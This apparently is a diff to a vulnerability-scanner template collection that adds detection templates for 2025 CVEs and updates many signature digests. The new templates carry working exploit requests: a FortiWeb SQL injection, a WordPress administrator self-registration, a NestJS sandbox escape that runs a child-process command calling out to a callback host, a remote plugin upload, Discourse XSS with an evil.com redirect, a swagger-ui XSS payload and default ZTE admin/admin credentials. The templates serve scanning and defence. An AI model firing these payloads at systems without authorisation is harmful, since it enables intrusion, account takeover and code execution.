+        - '?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - '?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'open-api/swagger-ui.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - swagger_dom == true
+
+      - type: word
+        part: body
+        words:
+          - "swagger"
+        case-insensitive: true
+# digest: 4a0a00473045022100e2a4a3fed035f075e45d529f75afaffaa15181fa41c9748785999177f38e67680220766f028a5fb4bed8042fc56cef4af654f2760e1207a0246bbd11db1bf1e720f0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,9 @@
+{
+  "url": "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.yml",
+  "urls": [
+      {
+          "url": "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.yml",
+          "name": "Account"
+      }
+  ]
+}
@@ -0,0 +1,29 @@
+swagger: '2.0'
+info:
+  title: Classic API Resource Documentation
+  description: |
+    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert('textarea') src=1>"></form>
+
+paths:
+  /signin:
+    post:
+      parameters:
+        - name: Email
+          in: formData
+          required: true
+          type: string
+        - name: password
+          in: formData
+          required: true
+          type: string
+        - name: token
+          in: formData
+          required: true
+          type: string
+      responses:
+        '200':
+          description: Success Request
+      tags:
+        - signin
+      operationId: Signin
+      summary: Signin
@@ -33,4 +33,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402203ee8036b8bde7afce4f3562abf145e9ac84a7da7ebbf15315a4ddba67e80f94e02200a0490e37232f1c5c0197a360b19cb7f7f1716c9c23cf0d89abf7e80774a5629:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220480b609957640c9108a6845b6a11e2a6279f8445854bccd790c2216a015913d20221009eb2ec70bb4706896b5e0214732502a216429bc252b1cbf634a84e60c26d59bc:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,52 @@
+id: CVE-2025-25257
+
+info:
+  name: Fortinet FortiWeb - SQL Injection
+  author: watchtowr,johnk3r
+  severity: critical
+  description: |
+    An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.
+  impact: |
+    An attacker can exploit this vulnerability to execute unauthorized SQL commands, potentially leading to data exposure, data manipulation, or system compromise.
+  remediation: |
+    Apply the latest security patches provided by Fortinet to fix the SQL injection vulnerability in FortiWeb.
+  reference:
+    - https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/
+    - https://fortiguard.fortinet.com/psirt/FG-IR-25-151
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-25257
+    cwe-id: CWE-89
+    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: fortinet
+    product: fortiweb
+    shodan-query:
+      - ssl:"cn=fortiweb"
+      - title:"FortiWeb - "
+  tags: cve,cve2025,fortinet,fortiweb,sqli,unauth
+
+http:
+  - raw:
+      - |
+        GET /api/fabric/device/status HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Bearer AAAAAA'or'1'='1
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'serial'
+          - 'fortiweb'
+          - 'device_type'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a004830460221008cb61dec9c3e876da871cb80350b9bad4f19d8b824e61156824c9cb7869925f7022100bbe42bfb3ac11bcbe94b6299097b8c19c6ed420ec6ac3b05d10a84d05b77654a:922c64590222798bb761d5b6d8e72950
@@ -59,4 +59,4 @@ http:
        part: header
        words:
          - "text/javascript"
-# digest: 4b0a00483046022100ee8f9df882635955e814b700e12306455cf67732fe74a023c062b15ff9e44ca70221008b2f7cdc6239fc59f5e43425baf72306e5de9764ec97419185ad1ac23f9a68f9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ff4db1fdb08b27a7e68d70a66478e08324ded14272c0db20a6233b3aeb661742022100b8370df379a42532596f74f47f1c6cf6e4da04840cc75f589faa9994165c0e0e:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,73 @@
+id: CVE-2025-4334
+
+info:
+  name: Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation
+  author: pussycat0x
+  severity: critical
+  description: |
+    The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.
+  reference:
+    - https://github.com/Nxploited/CVE-2025-4334
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-4334
+    cwe-id: CWE-269
+  impact: |
+    An attacker can exploit this vulnerability to register with administrator privileges, gaining full control over the WordPress site.
+  remediation: |
+    Update the Simple User Registration plugin to a version newer than 6.3 when available, or remove the plugin if not essential.
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: lifeisincredible
+    product: simple-user-registration
+    shodan-query: http.component:"wordpress" && http.html:"/wp-content/plugins/simple-user-registration/"
+  tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,simple-user-registration
+
+
+variables:
+  username: "{{randstr}}"
+  email: "{{randstr}}@{{rand_base(5)}}.com"
+  password: "{{to_lower(rand_text_alpha(8))}}"
+
+http:
+  - raw:
+      - |
+        GET /register/ HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        X-Requested-With: XMLHttpRequest
+        Content-Length: 417
+
+        action=wpr_submit_form&wpr_form_id={{wpr_form_id}}&wpr_nonce={{wpr_nonce}}&_wp_http_referer=%2Fregister%2F&wpr%5Bwp_field%5D%5Buser_login%5D={{username}}&wpr%5Bwp_field%5D%5Bfirst_name%5D=first{{username}}&wpr%5Bwp_field%5D%5Blast_name%5D=last{{username}}&wpr%5Bwp_field%5D%5Buser_email%5D={{email}}&wpr%5Bwp_field%5D%5Bpassword%5D={{password}}&wpr%5Bwp_field%5D%5Bconfirm_password%5D={{password}}&wpr%5Bwp_field%5D%5Brole%5D=administrator
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(body_1, "WPR Register")
+          - contains(body_2, "user_id")
+          - contains(body_2, "Registration Done")
+        condition: and
+
+    extractors:
+      - type: regex
+        internal: true
+        group: 1
+        name: wpr_nonce
+        part: body
+        regex:
+          - 'name="wpr_nonce" value="([a-f0-9]+)"'
+
+      - type: regex
+        internal: true
+        group: 1
+        name: wpr_form_id
+        part: body
+        regex:
+          - 'name="wpr_form_id" value="([0-9]+)"'
+# digest: 4b0a0048304602210089b16e130b76927fa434096a72aa1ab9cf2ddcaeb4462187411ccdcf5bd8c553022100c5a062e4e7dcada35a6877a78461fd761eff5724a772dc1de8e9aa66c6b7d4fe:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,76 @@
+id: CVE-2025-48954
+
+info:
+  name: Discourse OAuth Social Login - Cross-site Scripting
+  author: ferreiraklet,DhiyaneshDK,pdresearch
+  severity: high
+  description: |
+    Discourse versions prior to 3.5.0.beta6 contain a stored Cross-Site Scripting (XSS) vulnerability in the OAuth/social login functionality. The vulnerability is caused by lack of proper content security policy enforcement when processing social login failures,allowing remote attackers to inject and execute malicious scripts in users' browsers.
+  remediation: Update the discourse to version 3.5.0.beta6 or later.
+  reference:
+    - https://github.com/discourse/discourse/security/advisories/GHSA-26p5-mjjh-wfcf
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-48954
+  classification:
+    cve-id: CVE-2025-48954
+    cwe-id: CWE-79
+    epss-score: 0.00038
+    epss-percentile: 0.10442
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
+    cvss-score: 8.1
+    cpe: cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 5
+    shodan-query: http.component:"Discourse"
+    fofa-query: app="Discourse"
+    zoomeye-query: app:"Discourse"
+    hunter-query: web.title="Discourse"
+  tags: cve,cve2025,discourse,xss,oauth
+
+variables:
+  # XSS payloads for different exploitation scenarios
+  redirect_payload: "%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttps%3A//evil.com%22%3E"
+  basic_xss: "<svg/onload=alert('XSS-CVE-2025-48954')>"
+
+http:
+  - method: GET
+    path:
+      # Test 1: Open redirect via meta refresh injection
+      - '{{BaseURL}}/auth/failure?provider={{redirect_payload}}'
+
+      # Test 2: Basic XSS payload injection
+      - '{{BaseURL}}/auth/failure?provider={{basic_xss}}'
+
+
+    matchers:
+      - type: dsl
+        name: open-redirect-meta-refresh
+        dsl:
+          - 'contains(body, "<meta http-equiv=\"refresh\" content=\"0;url=https://evil.com\">")'
+          - 'contains(to_lower(body), "discourse")'
+          - 'status_code == 200'
+        condition: and
+
+      - type: dsl
+        name: basic-xss-execution
+        dsl:
+          - 'contains(body, "onload=alert(")'
+          - 'contains(body, "XSS-CVE-2025-48954")'
+          - 'contains(to_lower(body), "discourse")'
+          - 'status_code == 200'
+          - '!contains(to_lower(header), "content-security-policy")'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: discourse_version
+        group: 1
+        regex:
+          - '<meta name="generator" content="Discourse ([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
+          - "(?i)discourse['\"]?\\s*:\\s*['\"]?([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
+          - "(?i)x-discourse-version:\\s*([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
+          - '"version"\\s*:\\s*"([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"'
+          - '<!-- Discourse ([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
+          - '/assets/discourse-([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
+          - "(?i)discourse[^\"']*?([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
+# digest: 4a0a0047304502203a2a4936fc48c313e953f4abe2206b813b1a1cf295e7aa9dfc491c22b2a3504b022100e6543a16f25d90f06101fb1a0675ef5fb37937bc866a65030efdeeb90e3afe26:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,50 @@
+id: CVE-2025-53558
+
+info:
+  name: ZTE ZXHN-F660T/F660A - Default Credentials
+  author: DhiyaneshDK
+  severity: high
+  description: |
+    ZXHN-F660T and ZXHN-F660A provided by ZTE Japan K.K. use a common credential for all installations. With the knowledge of the credential, an attacker may log in to the affected devices.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-53558
+    - https://jvn.jp/en/jp/JVN66546573/
+  metadata:
+    shodan-query: title:"F660"
+    verified: true
+    max-request: 1
+  tags: cve,cve2025,default-login,zte
+
+variables:
+  username: "admin"
+  password: "admin"
+
+http:
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{RootURL}}
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{RootURL}}
+
+        frashnum=&action=login&Frm_Logintoken=0&Username={{username}}&Password={{password}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: location
+        words:
+          - "/start.ghtml"
+
+      - type: status
+        status:
+          - 302
+
+      - type: word
+        part: body
+        words:
+          - "wrong username"
+          - "User information is error"
+        negative: true
+# digest: 4a0a00473045022073427a7cc13856d8f5f4fa00d669009a1a335d314edaf14973d81ed5d536c933022100abbb20fb6b6b56b810238e5c33af5c3a404d047de606f673b4f5c6a1cde28b4a:922c64590222798bb761d5b6d8e72950
@@ -133,4 +133,4 @@ http:
          - 'contains(x_nuclei,"CVE-2025-53770")'
          - 'contains(body, "MSOTlPn_DWP")'
        condition: and
-# digest: 4a0a00473045022100e49668cd4d959747d85e9df1503f84f74e4c97ccd050fc618de6e47c805675d302207a5ce742753a29fc20f98b21c8cee1355b6f29fa4714bf7a3598ff12e0eb379e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022033fb96d30780046027b4f8ad99bc8918171d236e153e9b4fd7091ba5579766c5022100a73075ce0a9daf4f56c47f1b8a642903464aea51faf61af56f195b3ccc66ee9a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,41 @@
+id: CVE-2025-5394
+
+info:
+  name: Unauthenticated Arbitrary Plugin Upload in Alone Theme
+  author: Nxploited,DhiyaneshDK
+  severity: critical
+  description: |
+    The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.
+  impact: |
+    This makes it possible for unauthenticated attackers to upload zip files containing webshells disguised as plugins from remote locations to achieve remote code execution.
+  remediation: Fixed in 7.8.5.
+  reference:
+    - https://github.com/Nxploited/CVE-2025-5394/tree/main
+    - https://x.com/cloudflare/status/1951319364856058035?s=46
+  metadata:
+    verified: true
+    max-request: 1
+    publicwww-query: "/wp-content/themes/alone/"
+    fofa-query: body="/wp-content/themes/alone/"
+  tags: cve,cve2025,unauth,file-upload,rce
+
+http:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        action=beplus_import_pack_install_plugin&data%5Bplugin_slug%5D=&data%5Bplugin_source%5D=https%3a%2f%2f{{interactsh-url}}%2fplugin%2f%7b%7b{{randstr}}%7d%7d.zip
+        # No plugin is uploaded or updated; just sending interactsh-url with randstr.
+
+    skip-variables-check: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains_all(body, '\"success\":true','\"substep\":\"activate\"')
+          - contains(content_type, 'application/json')
+          - status_code == 200
+        condition: and
+# digest: 4a0a00473045022012aebba2ab4035e5dea235490a3c7e2d05f9b0c7bc6c42a9b0a16402a3f280b7022100b31f83ca7e1a4d0617368298247b4d17913400deb667e42b9298e3e3731037f9:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,49 @@
+id: CVE-2025-54782
+
+info:
+  name: NestJS DevTools Integration - Remote Code Execution
+  author: nukunga
+  severity: critical
+  description: |
+    Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.
+  remediation: This is fixed in version 0.2.1.
+  reference:
+    - https://socket.dev/blog/nestjs-rce-vuln
+    - https://github.com/nestjs/nest/security/advisories/GHSA-85cg-cmq5-qjm7
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-54782
+  classification:
+    cvss-metrics: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
+    cvss-score: 9.4
+    cve-id: CVE-2025-54782
+    cwe-id: CWE-77,CWE-352,CWE-78
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: "devtools.nestjs.com"
+  tags: cve,cve2025,nestjs,rce,sandbox,devtool,unauth
+
+http:
+  - raw:
+      - |
+        POST /inspector/graph/interact HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/plain
+
+        {"code":"(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('nslookup {{interactsh-url}}')}})()"}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        part: content_type
+        words:
+          - "application/plain"
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a00473045022100d05e6c9b0c414ba9572a5c40dbec99985eb6e3c2088d4134f57639110ec30f570220289733b70b84065d76cb7e9179e2dd7bc08fbeff8e7d8d1474f317862c79f3c2:922c64590222798bb761d5b6d8e72950
@@ -1,13 +1,16 @@
 id: CVE-2025-8286

 info:
-  name: Güralp Systems FMUS Series Seismic Monitoring Devices - Missing Authentication for Critical Function
+  name: Güralp Systems FMUS Series - Unauthenticated Access
  severity: critical
  author: darses
  description: |
-    The affected products expose an unauthenticated Telnet-based command line interface that could allow an attacker to modify hardware configurations, manipulate data, or factory reset the device.
+    Güralp Systems FMUS Series Seismic Monitoring Devices expose an unauthenticated Telnet-based command line interface that allows attackers to modify hardware configurations, manipulate data, or factory reset the device.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to modify hardware configurations, manipulate data, or factory reset the device.
+  reference:
+    - https://www.cisa.gov/news-events/ics-advisories/icsa-25-212-01
+    - https://www.cve.org/CVERecord?id=CVE-2025-8286
  remediation: |
    Update to the latest firmware version or apply vendor recommended patches to secure Telnet access.
  classification:
@@ -16,16 +19,12 @@ info:
    cvss-metrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
    cvss-score: 9.8
  metadata:
+    verified: true
    vendor: guralp_systems
-    product: guralp_fmus_series_seismic_monitoring_devices
-    shodan-query:
-      - '"Welcome to " "list of available commands" port:4244'
-    fofa-query:
-      - '"Welcome to " && "list of available commands" && port="4244"'
-  reference:
-    - https://www.cisa.gov/news-events/ics-advisories/icsa-25-212-01
-    - https://www.cve.org/CVERecord?id=CVE-2025-8286
-  tags: ics,cve,cve2025,tcp,telnet
+    product: fmus_series_seismic_monitoring_devices
+    shodan-query: '"Welcome to " "list of available commands" port:4244'
+    fofa-query: '"Welcome to " && "list of available commands" && port="4244"'
+  tags: cve,cve2025,tcp,network,telnet,guralp,ics

 tcp:
  - host:
@@ -70,3 +69,4 @@ tcp:
        group: 1
        regex:
          - "Firmware\\s+Version:\\s+([\\d\\.\\-]+)"
+# digest: 490a0046304402202bb9c49bbd0a1f29f07003eb92c55fb261c7030b56a1761d548c7bb5939690c002203e8f3a50a253c5f031c332404f3ce89192f3c5cd946f682e98099545e91f0440:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
          - 'status_code==200 && contains(tolower(body), "<title>ackee")'
          - "status_code==200 && (\"-1495233116\" == mmh3(base64_py(body)))"
        condition: or
-# digest: 4a0a0047304502204ccfb9437a66e42a45bf88de87bf8a0a4df050e2658a971a056dfded101f591e022100fb297c5cf93e89cd69fff2a5a1e3f76e6fad27370fe60a61ad3f2818d033319a:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022032c03562cb54973c4fad62e2c586ca4b2289fc3b212f16c7164e97b6340a158d022070c426e16cea4818d72784a9df9592a3ae2d4d79d1964e6ed7316f5c28ee2ed9:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - '(?i)Version\s+Adfinity([0-9.]+)'
-# digest: 4b0a0048304602210096a50ffa60da5df9053cf9bef9c8e2b848495cd4b0da2de3100209518e13304d022100bcbbbb4bbc31edd12c5dab1745d6bff907b9c1c8e77208bacba535eabd669cc6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201ea34d0524a8b5338996fb469766a3d034ab6d7b139c1be3a2f56e14e08a9638022100bf340d2e5ac3bb75e1d0e4867ef1601a68aa29091ca49ec71c86d70fbc304381:922c64590222798bb761d5b6d8e72950
@@ -37,4 +37,4 @@ http:
        group: 1
        regex:
          - '(?i)x-akuiteo-masterhash:\s+([0-9a-f]+)'
-# digest: 4b0a00483046022100925486af1630d8c84c4c91da39267064a6191676fd2bac9b119b47358b271aa8022100b06bddc4b90014222c6b8044b808d8b0935f6eba38b8c6f888e336ce138d918f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d97d307ae5a035f3b4ce6b3cb6321d016df65e1cc99c61b8c7f339739f4e958b02201fd257239c8398df6ad5203d0a73430275b09692d0db7aa60f5c94f435d9ba75:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
        group: 1
        regex:
          - '"envTitle":"([A-Z0-9a-z]+)"'
-# digest: 4a0a00473045022100c2c8e7f2fb2c207dd24453efc5217c31382a046438b1f2e6a5645be0ec637509022011edb847a91bc2cf5bf644e039b16149788d269b3197f91b8697c539f6d3bfc1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220236caedd60d2de9aa9832d03f227da56fd3edde3e45c220dd0d9200dd0cee50e022100c732edd00c5478eeb27c951078e25b6300f992d1324f0c3c65c685efd76d54d9:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'Version:?\s+([0-9.]+)'
-# digest: 4a0a0047304502203139de43edc1be585839c754bfdd05565d86948f7ff0a540d7c9f843c88115a4022100db223860b04ecdd483cddf91140f73a003a8cae5511f004590c842435da1aad7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100add618065ee7211d895ee31996995f71dab5aa59cba7ae3544cbd89ec19d717e02205523aebda08deb71d29d801cd49db915836b74bc6c2b1be36c1ba24c3a7f28eb:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
          - 'status_code == 200'
          - 'contains(to_lower(body), "title=\"blue yonder\"")'
        condition: and
-# digest: 4a0a00473045022033a7fadce88f0c465a6a82a189a6c708533f1f070820e76761fa3f97db45c91702210094173e38e9b41e49e64f4db832f51098629f46fbadd5718d5b66668226d163fb:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206f73e6a634c2991d096ba9615bf692f17f9cb922e9a1d35b576695f864d5b67d02206f2848c66b57acebe2876255fedd19df17c4e0ae6d2883ae325e8fb695431e8b:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
          - 'contains(to_lower(body), "file exchange</title>")'
          - 'contains_any(to_lower(body), "main-b2b-icon.png", "fileexchange.ico")'
        condition: and
-# digest: 4a0a004730450220226e3c6ac442886de16e221eb88ce73ee4aa49eee887a5d6d34f02e2ca02e28e022100ddbed9c7cbe6464cd8a31fdeaaed1b4c24bee2acf0f1fbfa688c816bf4501a54:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e9b022acca3557a384a6eb0707cd331749773af318b03f8947062bbadef8e6d702201dd10b25ec7dc8d200b43f7f4ffe7e77426fdef44beffa41fc55863af86b6e42:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
          - 'status_code == 200'
          - 'contains(to_lower(body), "<title>bmc remedy single sign-on domain data entry")'
        condition: and
-# digest: 4a0a0047304502201d81a61d31e0313f77a596d58f9fb626ce43686a0a2ae0f8d665cdd2a6136c30022100918747fac91c137e1fa7bb19e94e034967d1858109f5c17f5606a87e154dc612:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205c61af35f30f52e9ae871f23d3b3d019d102f16b10389697759d16dc74679b5802206fa57c4995943a2e07417613864e9a242537d868835fd2c3eb1045e78a2de439:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'http-equiv="version"\s+content="([0-9\.]+)"'
-# digest: 4a0a00473045022100aa494606a748e59419d4dde57962f550052fb6de79ef5d5087a985216b3b11a602203c1018fe5a2f603b4ff2b7eab4ee13647e04fdf140cf8747f8c6d8c4e701b656:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b99438779d63507dab5e0149fee8dbf8a8b7822523105823c7bcd48f0eb6d7b902203f7f09061d2379e5eb0b3d6a488a339cedcd6773f0a92f947c0613e1a2fcc54b:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a00463044022064233f0a40ad3053b75e9f5d0cc5824353dae5f3dfc809478566c8882bccb67502206429834bdf96ff278ae6697c82b5b4952c513b02bd8fe60b6b11e574d4a41838:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cae86372c51171962cbbe3253b475cce9f5f01b2c7e6551b6d9c86a27b266acb02210081560867814323bf59fb097c700f00fc09a60cd08a63b83d5b4f29faadb2efa7:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502207c9c71d8cc032e3acfdbf2cdeb90392ac8fd23b35e890b9f34cc61fc2f98be9c022100f63af4d9f0b3c92c8f9835b1c569f1466677c9ccb79df2c1a330efed9e69d138:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b79252ee2e5f38ace407c9618868a99ef35e8c3beea4155408a6b0e774b51f7d02207d20f8bd847fb8ec18a7a0cdc92985c75c374943a9e3d22826c4032c03f675bf:922c64590222798bb761d5b6d8e72950
@@ -47,4 +47,4 @@ http:
      - type: dsl
        dsl:
          - '"OS: " + os + " | Hostname: " + hostname'
-# digest: 4b0a004830460221008982385026334e765aa842becd43f7c29e4da8fc2ff90daa83aa509f27aad6d4022100b7307bc38c85b7c35cd03d14ff88bdb287d25021e0e410bb4c9ac391086f152a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202bfe29f6f78e5bd4fe97f4bbc4463ab253c879cf43929e2dace701c05282a65c0221009d65294ed7e7f812bee96af72c7d45488e3fc12c68c63c0d3ecf8b59ce7d893d:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        regex:
          - '(?i)package:\s+"([a-z0-9._-]+)"'
          - '(?i)version&nbsp;:&nbsp;([a-z0-9._-]+)'
-# digest: 4a0a004730450220348110682a94bcc1c987a9ada9b26ae7d77b927e10382f5d2cc582c0073265e0022100dcace07fd5fc116ef25b4903e8146fe3cca0ed6a3bc982d890c0ee9aa572a3c9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b0b88a4781bb7c1f0418a02ad2172302ea91bb8742d97d99f786e19596e307d002202eda9b18c59ae9d7b4d3d7380d76cf49cad040cb31810ddcd13e13da73aa2069:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100f4ca5df34cf39416f7beace32c6a26a01f30dd20d90face40a4fc09a31c270d602202deb242e3a98ed562d25b6625965bdb02fdf585d0b05d979ba43f41420c45182:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220776bed0f5713bffed23a37c26ff297761171a0207d3f854a931931300ee8579c02200c5ac6f8326014a32e13d0405740e1ead2fe6ab8cb9b4f37deadc167fd28c055:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a004630440220736b24d69484beffe1aa31936cca2cc7665a692aade23a1ff0e5b2b5e70f4ab7022051bca1b6fa8f1f7c7325fdba7cc8e44e92d35dd8a8f174abacc2ddf87acb7f92:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204fce7d11076e4982dcc461923dff36c93b7bf16eeccddaf33b02ae6e1534ca0c0221008ac4186c0662de1916ed01c2be1b65700425ed97fec5b7210068d7be8e7caceb:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502202206840d78487c3e923e20d009958dd713e40c68e0ee6a0267c2f5cab46084e9022100c074c815c0db1b98a3fa3bfb5cd8b44363070440c55cf3437020a035bd029256:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201a3cc95afcd18455e3c00ffe5da14fd2b2ef9e86dead26be742184719aa42701022100af3caae6c420d56e20c3dd958c1988c3ee728743393bfffcfd50d47335b46db2:922c64590222798bb761d5b6d8e72950
@@ -24,4 +24,4 @@ http:
          - 'status_code == 200'
          - 'contains_any(body, "<title>Haivision Media Platform", "content=\"Haivision Network Video")'
        condition: and
-# digest: 4b0a00483046022100dfdb97e7a6346125cc2c24708da8c53d0b7576372515337cf735cb4f8da3b60c022100ad2766ffd7143b47ec60254f1d1c15055b969b6091632ad87be42a606df71237:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100aa9ceff2727366f37ce14ea965e942293dc1f62f0dccd4c7976b4ed874cbc18b022100e4402e230074ac9afe11156e3f837a70a5a9dae2c12196719f7a8d386f2c2937:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        group: 1
        regex:
          - '(?i)Server:\s+HYPERPLANNING\s+([0-9.\s\-]+)'
-# digest: 4a0a00473045022100f00bd068d714c0f48e2bac3035a91486e33d53e2b6fc38a2211609c2ddeccbd902202a249ad390f305a6fd73b25daf504fc646e065a4c5458f7cff67c1cb0f71b364:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206b8779a574177cb1dd91714f49eea4db3c512a9fecce91b84868477adfe42c2b0220286786fb4c42f6829a24c9c2e678ad5b56e95081eca1aee42fbca9766a8ecaee:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
